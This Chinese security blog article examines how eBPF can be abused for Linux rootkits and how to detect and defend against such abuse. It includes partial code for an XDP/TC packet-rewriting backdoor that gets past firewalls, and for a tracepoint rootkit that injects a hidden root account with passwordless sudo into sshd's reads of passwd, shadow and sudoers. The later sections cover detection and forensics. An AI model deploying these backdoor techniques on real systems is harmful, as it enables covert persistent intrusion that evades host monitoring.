Linux中基于eBPF的恶意利用与检测机制

CFC4N

首发

本文首发与【美团安全应急响应中心】微信公众号。

前言

近几年来，云原生领域飞速发展，k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由，都给内核带来了新的挑战。
系统内核在面对复杂性不断增长，性能、可扩展性新需求的同时，还需要保障系统稳定可用，这是极其困难的事情。

eBPF出现，以较小的子系统改动，保障了系统内核的稳定。具备实时动态加载的特性，将业务逻辑加载到内核，实现热更新的动态执行。 eBPF技术的出现，衍生新业务场景的同时，也带来了安全威胁。

现状分析

在解决很多技术难题的同时，eBPF技术的出现也带来了新的恶意利用，从一些海外资料和国内资料中可以看到，目前关于eBPF技术恶意利用的现状如下所示：

海外资料

Black Hat

在Black Hat 2021的峰会中，Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用，如何构建一个rootkit，入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上，包括检测防御代码。

DEFCON

在DEF CON29峰会上，安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例：《Warping Reality – creating and countering the next generation of Linux rootkits using eBPF》 ，介绍了eBFP rootkit的应用场景，包括网络、运行时等，以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。

国内资料

国内在eBPF恶意利用的资料较少，相关技术分享也少，它的危害没有得到国内同行的注意，势必影响到国内公司在网络安全防御体系的建设，导致落后于国外，给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方，有责任带领大家更好的认识这种恶意利用，分享检测防御经验，加固网络安全产品，为国内信息安全建设贡献一份力。

eBPF技术恶意利用的攻击原理

知己知彼才能百战不殆，要想做好防御，必须要了解他的攻击原理，我们一起来看下他的rootkit是如何设计的，功能有哪些？

从eBPF的功能来看，提供了

  • 网络
  • 监控
  • 观测
  • 跟踪&性能分析
  • 安全

等几个领域功能。 在网络领域，Cilium等云原生公司做了很多网络层的产品，在实现网格管理的同时，也做了响应的网络层面安全策略，尤其是网络编排领域，表现尤为亮眼，逐步代替iptables等产品，大有一统江山的趋势。 在监控、观测等领域也有很多产品。尤其是运行时安全领域，Datadog 、Falco、Google等公司，都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。

我们回顾一下eBPF技术的hook点：
eBPF Hook位置
从图中可以看出，eBPF的hook点功能包括以下几部分

  1. 可以在Storage、Network等与内核交互之前；
  2. 也可以在内核中的功能模块交互之间；
  3. 又可以在内核态与用户态交互之间；
  4. 更可以在用户态进程空间。

eBPF的功能覆盖XDP、TC、probe、socket等，每个功能点都能实现内核态的篡改行为，从而使得用户态完全致盲，哪怕是基于内核模块的HIDS，一样无法感知这些行为。

笔者基于eBPF的功能函数，从业务场景来看，网络、监控、观测类的功能促进了云原生领域的产品发展；跟踪/性能分析、安全类功能，加快了安全防御、审计类产品演进；而安全领域的恶意利用，也会成为黑客关注的方向。在这里，笔者与大家探讨一下新的威胁与防御思路，

从数据流所处阶段来看，笔者划分为两部分，接下来一起来讨论恶意利用、风险危害与防御思路。

  1. Linux网络层恶意利用
  2. Linux系统运行时恶意利用

网络层恶意利用

以一个SSH、WEB服务的服务器为例，在IDC常见网络访问策略中，开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP，或者只开放内网端口访问。

假设这台服务器已经被黑客入侵，黑客需要留下一个后门，且需要一个隐藏、可靠的网络链路作为后门通道，那么在eBPF技术上，会如何实现呢？

XDP/TC层修改TCP包

为了让后门隐藏的更好，最好是不开进程，不监听端口（当前部分我们只讨论网络层隐藏）。而eBPF技术在XDP、TC、socket等内核层的功能，能够实现流量信息修改，这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后，更改了TCP包的目标IP，系统内核再将该数据包转发出去。
按照XDP与TC在Linux内核中，处理ingress与egress的位置，可以更准确地确定hook点。

XDP的BPF_PROG_TYPE_XDP程序类型，可以丢弃、修改、重传来自ingress的流量，但无法对egress起作用。
TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外，还可以对egress起作用。

前者最常用的场景就是做网络防火墙，用于网络流量清洗，效率比传统防火墙的高很多。 后者常用于云原生场景下，容器、POD的网络监控、安全访问控制等。在这个例子中，要多进出流量都做调整，故两个hook点都需要有。 同样，在XDP等阶段的hook，在这里做相关包逻辑处理，能更好的将通讯包隐藏，tcpdump等工具都抓不到。

控制链路

在后门场景里，可以在同样的位置，像eBPF的负载均衡一样，修改目标端口，从web nginx 的80改为SSHD的22，就可以实现网络数据的透传，绕开防火墙以及网络访问限制。

认证密钥

由于后门rootkit是在XDP\TC层工作，为了尽可能的简单，认证密钥最好只使用链路层、网络层、传输层的数据，即MAC信息、IP五元组之类。IP经常变动，MAC地址大概率是唯一的，以及设定一个固定的端口，这样更加唯一，作为rootkit的认证密钥即可实现。（需要client发起连接时，指定客户端的TCP端口）

eBPF uprobe与eBPF map联动

对于后门rootkit的密钥更新，利用eBPF也很好实现。比如，在nginx的场景中，uprobe实现hook http的函数，获取url参数中特定字符串，再将字符串保存到eBPF map里，就实现了密钥更新。

XDP/TC层的eBPF rootkit执行时，读取eBPF map里的密钥，进行比较运算。

实现流程

举个XDP处理ingress的例子

SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;

//判断是否为SSHD的协议，不是则直接放行
if (!(不是SSHD协议(&c))) {
return XDP_PASS;
}

//判断rootkit是否匹配，网卡信息与来源端口是否匹配
hack_mac[] = "读取bpf map配置。"
if(密钥不匹配) {
return XDP_PASS;
}

// 读取map，是否已经存在该client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// 如果没找到伪装信息，则自己组装
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}

// 伪装mac局域网mac信息
pkt.eth->h_source[0] = 0x00;
...

// 替换伪装ip来源 ，客户端端口不变

// 更改目标端口
pkt.tcp->dest = htons(FACK_PORT);    //22

//计算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;

//写入已伪装的map，用于TC处理egress的原mac、IP信息还原。
return XDP_PASS;
}

比较简单的demo，即可实现 ingtrss侧TCP数据包的伪装。同样，TC层处理egress方向的数据包时，只需要对伪装包的原始信息作还原即可。整个流程如下图：

eBPF在XDP/TC层实现网络穿透rootkit通讯链路

这样，rootkit的通讯链路并不影响正常用户访问，也没有对原系统做改动，隐蔽性特别好。

视频演示

笔者准备了三台主机测试：

  1. 入侵者：cnxct-mt2，IP为172.16.71.1。
  2. 普通用户：vm-ubuntu，IP为172.16.71.3。
  3. 被入侵服务器：vm-server，IP为172.16.71.4。开放nginx web 80端口；开放SSHD 22端口，并设定iptables规则只允许内网IP访问。

危害

这个rootkit不主动创建socket，借用其中一个网络发送包，把消息送达给后门使用者。 对系统影响来说，只是一个不起眼的小网络响应。 在万千HTTP包里，根本定位不到。

  1. iptables防火墙绕过 ：利用对外开放的80端口作为通讯隧道；
  2. webIDS绕过：流量到达服务器后，并不传递给nginx；
  3. NIDS绕过：入侵者流量在局域网之间流传并无异常，只是无法解密；
  4. HIDS绕过：是否信任了防火墙，忽略了本机/局域网来源的SSHD登录？

linux系统运行时恶意利用

云原生生态下，涌现大批基于eBPF技术实现的集群网络管理插件，比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署，且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境，也给攻击者留下一个完美的发挥空间。

实现流程

回顾eBPF的hook点，作用在syscall的kprobe、tracepoint事件类型，倘若用在后门rootkit场景，是十分可怕的。比如，修改内核态返回给用户态的数据，拦截阻断用户态行为等为所欲为。而更可怕的是，常见的HIDS都是基于内核态或者用户态做行为监控，这恰恰就绕开了大部分HIDS的监控，且不产生任何日志，简直细思极恐、不寒而栗。

tracepoint事件类型hook

在SSHD应用中，当用户登录时，会读取/etc/passwd等文件。用户态sshd程序，调用open、read等系统调用，让内核去硬件磁盘上检索数据，再返回数据给sshd进程。

用户态生成payload

用户态实现/etc/passwd、/etc/shadown等文件payload的生成，并通过eBPF的RewriteConstants机制，完成对elf .rodata的字段值替换。

import "github.com/ehids/ebpfmanager"

//  通过elf的常量替换方式传递数据
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
    var username = RandString(9)
    var password = RandString(9)
    var s = RandString(8)

    salt := []byte(fmt.Sprintf("$6$%s", s))
    // use salt to hash user-supplied password
    c := sha512_crypt.New()
    hash, err := c.Generate([]byte(password), salt)

    var m = map[string]interface{}{}
    res := make([]byte, PAYLOAD_LEN)
    var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
    copy(res, payload)
    m["payload"] = res
    m["payload_len"] = uint32(len(payload))

    // 生成passwd字符串
    var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)
    // 生成shadow字符串
    var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)

    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
        {
            Name:          "payload",
            Value:         m["payload"],
            FailOnMissing: true,
        },
        {
            Name:          "payload_len",
            Value:         m["payload_len"],
            FailOnMissing: true,
            },
    }
    return editor
}

func (this *MBPFContainerEscape) setupManagers() {
    this.bpfManager = &manager.Manager{
        Probes: []*manager.Probe{
            {
                Section:          "tracepoint/syscalls/sys_enter_openat",
                EbpfFuncName:     "handle_openat_enter",
                AttachToFuncName: "sys_enter_openat",
            },
            ...
        },

        Maps: []*manager.Map{
            {
                Name: "events",
            },
        },
    }

    this.bpfManagerOptions = manager.Options{
        ...
        // 填充 RewriteContants 对应map
        ConstantEditors: this.constantEditor(),
    }
}

内核态使用payload

const volatile int payload_len = 0;
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
    // 判断是否为rootkit行为，是否需要加载payload
    ...
    long int read_size = ctx->ret;
    // 判断原buff长度是否小于payload
    if (read_size < payload_len) {
        return 0;
    }

    // 判断文件类型，匹配追加相应payload
    switch (pbuff_addr->file_type)
    {
    case FILE_TYPE_PASSWD:
        // 覆盖payload到buf，不足部分使用原buff内容
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
            for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                if (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        break;
    case FILE_TYPE_SHADOW:
        // 覆盖 shadow文件
        ...
        break;
    case FILE_TYPE_SUDOERS:
        //覆盖sudoers
        ...
        break;
    default:
        return 0;
        break;
    }

    // 将payload内存写入到buffer
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
    // 发送事件到用户态

    return 0;
}

按照如上demo rootkit的设计，即完成了随机用户名密码的root账号添加。在鉴权认证上，也可以配合eBPF网络层恶意利用的demo，利用eBPF map交互，实现相应鉴权。 但rootkit本身并没有更改硬盘上文件，不产生风险行为。并且，只针对特定进程的做覆盖，隐蔽性更好。整个流程如下图：
eBPF在runtime安全场景恶意利用

不管是在物理机上，还是给了root+BPF权限的容器上，都一样生效。

视频演示

危害

云原生场景下，赋予SYS_ADMIN的权限的容器场景很多，若配合近期的JAVA log4j漏洞，直接击穿容器，拿到宿主机权限，是不是很可怕？

然而，比这可怕的是这种rootkit本身并没有产生用户态行为日志，也没有改文件，系统里查不到这个用户信息。整个后门行为不产生数据，让大部分HIDS失灵。

综述

从笔者演示的这两个场景可以来看，大家已经知道eBPF技术被恶意利用的危害。其实，这只是eBPF技术的冰山一角，在kproeb\uprobe上也有很多功能，比如实现进程隐藏，无痕内网扫描等等。相关恶意利用可参考Bad BPF – Warping reality using eBPF一文。

若入侵者精心设计rootkit，实现进程隐藏等，让rootkit更加隐蔽，按照本文的思路，实现一个幽灵般的后门，想想就让人后怕。

常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知，而eBPF的hook点可以比这些技术更加深，比他们执行更早，意味着常规HIDS并不能感知发现他们。

传统rootkit，采用hook api方法，替换原来函数，导致执行函数调用地址发生变化，已有成熟检测机制，eBPF hook不同于传统rootkit ，函数调用堆栈不变。这给检测带来很大的麻烦。

那面对这种后门，该如何检测防御呢？

检测防御

从事件发生的过程来看，分为三个阶段：

  • 运行前
  • 运行时
  • 运行后

运行前

在恶意程序运行前，减少攻击面，这个思路是更古不变的。

环境限制

不管是宿主机还是容器，都进行权限收敛，能不赋予SYS_ADMIN、CAP_BPF等权限，就禁止掉。若一定要开放这个权限，那么只能放到运行时的检测环节了。

seccomp限制

在容器启动时，修改默认seccomp.json，禁止bpf系统调用，防止容器逃逸，注意此方法对于Privileged特权容器无效。

内核编译参数限制

修改函数返回值做运行时防护时，需要用到bpf_override_return，该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数，因此非特殊情况不要开启该编译参数。

非特权用户指令

大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外，比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型，就不需要root。但需要读取系统配置开关。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
        type != BPF_PROG_TYPE_CGROUP_SKB &&
        !bpf_capable())
        return -EPERM;

开关确认

在/proc/sys/kernel/unprivileged_bpf_disabled里，可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/

  • 值为0表示允许非特权用户调用bpf
  • 值为1表示禁止非特权用户调用bpf且该值不可再修改，只能重启后修改
  • 值为2表示禁止非特权用户调用bpf，可以再次修改为0或1

特征检查

有人提议，在内核加载bpf字节码时，进行签名验证，以便达到只加载安全签名的bpf字节码。
lwn.net中也列出这个话题：BPF字节码签名计划 。

但很多人也提出 反对意见 ，认为bpf模块这几年的发展，过于抽象化，越来越复杂，不希望加入额外的功能，让bpf更加不稳定。而是改变思路，让字节码加载时签名，改为「执行bpf字节码加载的用户态程序进行签名」，这个是已有的内核功能，不会增加系统复杂性。

笔者认为，这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话，仍面临威胁。比如：ip link set dev ens33 xdp obj xdp-example_pass.o

ip命令加载eBPF字节码

运行检查

大部分eBPF程序在重启后不存在了，所以，入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。

用户态程序可以以各种形式存在，ELF可执行文件、ELF so动态链接库都可以。在执行时，必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测，还不够准确。

运行时

监控

linux系统中，所有的程序运行，都必须进行系统调用，eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。

并且，所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么，在这个必经之路进行拦截监控，是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
    struct bpf_context_t *bpf_context = make_event();
    if (!bpf_context)
        return 0;
    bpf_context->cmd = args->cmd;
    get_common_proc(&bpf_context->procinfo);
    send_event(args, bpf_context);
    return 0;
}

这里，我们开源的ehids项目做了一个bpf syscall检测的例子，大家可以fork了解。仓库见https://github.com/ehids/ehids-agent

当然，细心的读者会有疑问，假如入侵者的后门执行比较早，对这个系统调用进行欺骗，那怎么办呢？
这是个好问题，我们放到运行后的溯源章节讨论。但对于大部分场景，HIDS防御产品还是可以做到第一时间启动的。

审计&筛查

上面我们讨论了对bpf系统调用进行监控，在云原生场景中，基于eBPF实现的网络产品会频繁调用，会产生大量的事件日志，给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。

根据程序白名单筛选

数据过滤，是解决大量数据压力的方案。在一些BPF应用的业务服务器上，本身业务行为会产生大量调用，会给安全预警带来较大审计压力。对于已知的进程，可以根据进程特征过滤。

获取当前进程PID、COMM等特征，根据用户态写入eBPF map的配置，决定是否上报、是否拦截。 也可以在用户态做过滤，但内核态效率更高。如果是做拦截，那必须要在内核态实现。
参考saBPF产品设计思路 ，用eBPF实现LSM HOOK点的钩子程序，完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo，思路可以借鉴。

根据SYSCALL类型筛选

在BPF syscall里，子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里，写的安全风险比读大。所以，我们可以过滤掉读操作，只上报、审计写操作。
比如：

  • MAP的创建BPF_MAP_CREATE
  • PROG加载BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • BPF_MAP_UPDATE_BATCH

尤其是有BPF需求的业务场景，可以更好的审计日志。

运行后

问个问题，eBPF用户态程序与内核态程序交互，加载bpf字节码后，能退出吗？ 退出后，内核hook的bpf函数还工作吗？创建的map是否还存在？ 后门程序为了保证更好的隐蔽性，会如何选择？

要回答这个问题，不得不提BPF程序的加载机制，BPF对象生命周期。

文件描述符与引用计数器

用户态程序通过文件描述符FD来访问BPF对象（progs、maps、调试信息），每个对象都有一个引用计数器。用户态打开、读取相应FD，对应计数器会增加。若FD关闭，引用计数器减少，当refcnt为0时，内核会释放BPF对象，那么这个BPF对象将不在工作。

在安全场景里，用户态的后门进程若退出后，后门的eBPF程序也随之退出。在做安全检查时，这可以作为一个有利特征，查看进程列表中是否包含可疑进程。

但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看，只需要保证refcnt大于0，就可以让BPF对象存活，让后门进程持续工作了。其实在BPF的程序类型中，像XDP、TC和基于CGROUP的钩子是全局的，不会因为用户态程序退出而退出。相应FD会由内核维护，保证refcnt计数器不为零，从而继续工作。

溯源

在安全工程师视角里，就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中，都使用了eBPF的相关接口，意味着，如果恶意程序比检查工具运行的早，那么对于结果存在伪造的可能。

短生命周期

BPF程序类型代表

  • k[ret]probe
  • u[ret]probe
  • tracepoint
  • raw_tracepoint
  • perf_event
  • socket filters
  • so_reuseport

特点是基于FD管理，内核自动清理，对系统稳定性更好。这种程序类型的后门，在排查时特征明显，就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。

bpftool工具

eBPF程序列表
命令bpftool prog show，以及bpftool prog help查看更多参数。

结果中，可以看到当前系统正在运行的BPF程序、关联的BPF map ID，以及对应的进程信息等。
另外，细心的你可能发现，结果中，XDP数据中并没有进程ID信息，稍后讨论。

eBPF map列表
命令bpftool map show，以及bpftool map help查看更多参数。

通过查看map信息，可以与程序信息作辅助矫正。并且，可以导出map内数据用来识别恶意进程行为。这部分我们在取证章节讨论。

bpflist-bpfcc

bpflist-bpfcc -vv命令可以看到当前服务器运行的部分BPF程序列表。以笔者测试环境为例

root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc  -vv
open kprobes:

open uprobes:

PID    COMM             TYPE  COUNT
1      systemd          prog  8
10444  ehids            map   4
10444  ehids            prog  5

可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令，在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。

长生命周期：

BPF程序类型代表

  • XDP
  • TC
  • LWT
  • CGROUP

上面提到以ip命令加载bpf字节码的场景，常见BPF工具查询不到或信息缺失。其背后原因，需要从他的工作原理讲起。

ip命令加载bpf原理

BPF对象的生命周期使用引用计时器管理，这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间，之后再由内核空间维持。

以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。 IP命令的参数中包含bpf字节码文件名，IP进程打开.o字节码的fd，通过NETLINK发IFLA_XDP类型消息（子类型IFLA_XDP_FD）给内核，内核调用dev_change_xdp_fd函数，由网卡接管FD，引用计数器递增，用户空间的IP进程退出后，BPF程序依旧工作。 内核源码见：https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237

笔者做了抓包验证，IP关联XDP程序类型：

17:53:22.553708 sendmsg(3, 
    {
    msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 
    msg_namelen=12, 
    msg_iov=[
        {
            iov_base={
                {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, 
                {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, 
                {
                    {nla_len=20, nla_type=IFLA_XDP}, 
                    [
                        {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, 
                        {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
                    ]
                }
            },
            iov_len=52
        }
        ], 
    msg_iovlen=1, 
    msg_controllen=0, 
    msg_flags=0
    }, 0) = 52

可以看到IFLA_XDP_FD后面的FD参数是6。同样，删除XDP程序，需要把FD设置为-1，对应NETLINK包构成如下：

17:55:16.306843 sendmsg(3, 
    {
    ...
                    {nla_len=20, nla_type=IFLA_XDP}, 
                    [
                        {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, 
                        {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
                    ] }
    ...
    }, 0) = 52

不止IP命令，TC命令分类器 也是支持BPF程序，将BPF程序作为classifiers和 actions加载到 ingress/egress hook点。背后原理与IP类似，也是netlink协议与内核通讯，网卡维持BPF对象计数器。

检测机制

使用原生IP、TC等命令，查看网卡加载的BPF对象。

  1. ip link show
  2. tc filter show dev [网卡名] [ingress|egress]

使用bpftool命令查看

bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF HOOK点。

CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图：

BPFFS

除了前面提到的方法外，BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器，来保持后台的活跃状态。使用时，只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。

BPFFS在linux的类型是BPF_FS_MAGIC，默认目录/sys/fs/bpf/，可自定义修改，但确保文件系统类型是unix.BPF_FS_MAGIC。

检测思路上，需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。

在linux系统上，mount -t bpf来查看系统所有挂在的文件类型，是否包含BPFFS类型。

确定BPFFS的目录后，再查看目录下的挂在点是否存在异常。

取证

内核已加载的BPF对象导出

bpftool工具可以导出有FD ID的PROG、MAP。
BPF PROG程序
可以导出opcode\visual\linum等多种格式，并可以生成调用关系图。具体可以查看bpftool的帮助文件。

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited  PROG [{ file FILE | opcodes | linum }]

BPF MAP
与PROG类似，也可以通过bpftool导出内容，并支持json格式化内容。

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...

BPFFS
BPFFS类型的BPF对象，虽然可以更便捷的放到后台执行，用户空间程序可以退出，也可以再次读取，但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别，详情见bpftool help。

内核未加载的BPF对象

当定位到后门rootkit的用户空间程序后，那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中，或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具，定位到相关字节流，导出即可。

以笔者演示视频中的ehids进程为例，使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package，对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、GZIP压缩，作为go代码的变量，在部署时比较边界。

IDA pro加载时，我们可以在.noptrdata段部分看到这块代码，开始地址是0000000000827AE0，导出后再解压，可以还原原来的BPF ELF文件内容。

因为每个BPF用户态实现不同，类库也不一样，静态分析实践起来有难度。那可以模拟相同环境，动态运行，提前HOOK BPF SYSCALL，找到FD设置的地方，也是可以导出BPF的ELF文件。

字节码分析

BPF字节码本身也是ELF格式，只是格式指令上有一定区别。反编译工具IDA pro也能支持，国外安全工程师开源了一个python插件：eBPF IDA Proc ，以及整理了一篇分析的文章：Reverse Engineering Ebpfkit Rootkit With BlackBerry’s Enhanced IDA Processor Tool ，有兴趣可以读读。

防御

eBPF在网络安全场景的使用，除了做入侵检测外，还是可以用于防御。 LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例，行为最明显的特征是父子进程的namespace不一致，子进程创建完成后，判断这个特征是否匹配，返回EPERM覆盖进程创建函数的返回值，从而起到防御的目的。相比内核模块等防御实现，eBPF实现更加安全、稳定、可靠，从而在源头上解决容器逃逸的问题。

同样，笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。

LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
    return -EPERM;
}

在系统的配置上有一定要求，CONFIG_BPF_LSM=y，CONFIG_LSM配置内容，必须包含bpf等，详情可参考BCC类库Demo lsm probe 。

工程实现

练手

入门练手，可以尝试使用BCC的类库：https://github.com/iovisor/bcc ，以及C语言用户空间程序的各种Demo例子Demo BPF applications 。

类库选择

工程化时，对项目质量、稳定性、研发效率等都有要求，推荐cilium的纯go eBPF类库，由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。

笔者的产品也是参考datadog，抽象包装了cilium的eBPF库，实现配置化便捷管理eBPF程序。github仓库：https://github.com/ehids/ebpfmanager ，欢迎使用。

当然，也可以使用libbpf包装的go类库实现，比如tracee等产品。

系统兼容性 CO-RE

eBPF的出现极大的简化了编写内核态代码的门槛，极高的安全性，友好的加载方式，高效的数据交互，令eBPF深受追捧。然而和编写传统内核模块相同，内核态的功能开发伴随着繁冗的适配测试工作，Linux繁多的内核版本更是让适配这件事难度陡增，
这也就是BTF出现之前的很长一段时间里，bcc + clang + llvm被人们诟病的地方。 程序在运行的时候，才进行编译，目标机器还得安装clang llvm kernel-header等编译环境，同时编译也会消耗大量cpu资源，这在某些高负载机器上是不能被接受的。

因此BTF&CO-RE横空出现，BTF可以理解为一种debug符号描述方式，此前传统方式debug信息会非常巨大，linux内核一般会关闭debug符号，btf的出现解决了这一问题，大幅度减少debug信息的大小，使得生产场景内核携带debug信息成为可能。

可喜的是通过运用这项技术，可以帮助开发者节省大量适配精力，但是这项技术目前还是在开发中，还有许多处理不了的场景，比如结构体成员被迁入子结构体中，这时候还是需要手动解决问题，BTF的开发者也写了一篇文章，讲解不同场景的处理方案bpf-core-reference-guide

大型项目

在国外，云原生领域产品发展较快，涌现出一批批基于eBPF的产品，包括Cilium、datadog 、falco、Katran等，应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域，可以借鉴这些大型项目的研发经验，来加快产品建设，包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主，工程建设相关经验我们在以后的文章中分享。

总结

随着云原生快速发展，eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看，国外对这个方向的研究远比国内超前，笔者再次呼吁大家，网络安全产品应当尽快具备eBPF相关威胁检测能力。

这里，笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初，提到eBPF在防御检测产品研发、工程建设等，我们将在下一篇跟大家分享，敬请期待。

作者简介

  • 陈驰 : 2017年加入美团，目前主要负责IDC服务器的检测防御产品研发，完善服务器侧纵深防御体系建设。
  • 杨一 : 2017年加入美团，目前主要负责HIDS主机安全产品研发工作。
  • 胡鑫博 : 2021年加入美团，目前主要负责HIDS Agent的研发。

参考文献

招聘

美团信息安全部招聘研发专家，职位如下列表，职位描述见美团信息安全部2022年招聘岗位 。

  • 安全研发专家（主机安全方向）
  • 安全研发专家（RASP方向）
  • WEB研发架构师（JAVA语言）
  • 美团信息安全部其他职位

github

知识共享许可协议CFC4N的博客 由 CFC4N 创作，采用 署名—非商业性使用—相同方式共享 4.0 进行许可。基于https://www.cnxct.com上的作品创作。转载请注明转自：Linux中基于eBPF的恶意利用与检测机制

相关文章:
  1. datadog的eBPF安全检测机制分析
  2. 分享一些eBPF技术相关的PDF
  3. [译]使用eBPF（绕过 TCP/IP）加速云原生应用程序的经验教训
  4. 聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道
  5. [译]使用eBPF per-CPU Cgroup本地存储进行低功耗统计

2 thoughts on “Linux中基于eBPF的恶意利用与检测机制”

  1. Pingback: 新型eBPF后门boopkit的原理分析与演示 – CFC4N的博客
  2. Pingback: 内核态eBPF程序实现容器逃逸与隐藏账号rootkit – CFC4N的博客

Comments are closed.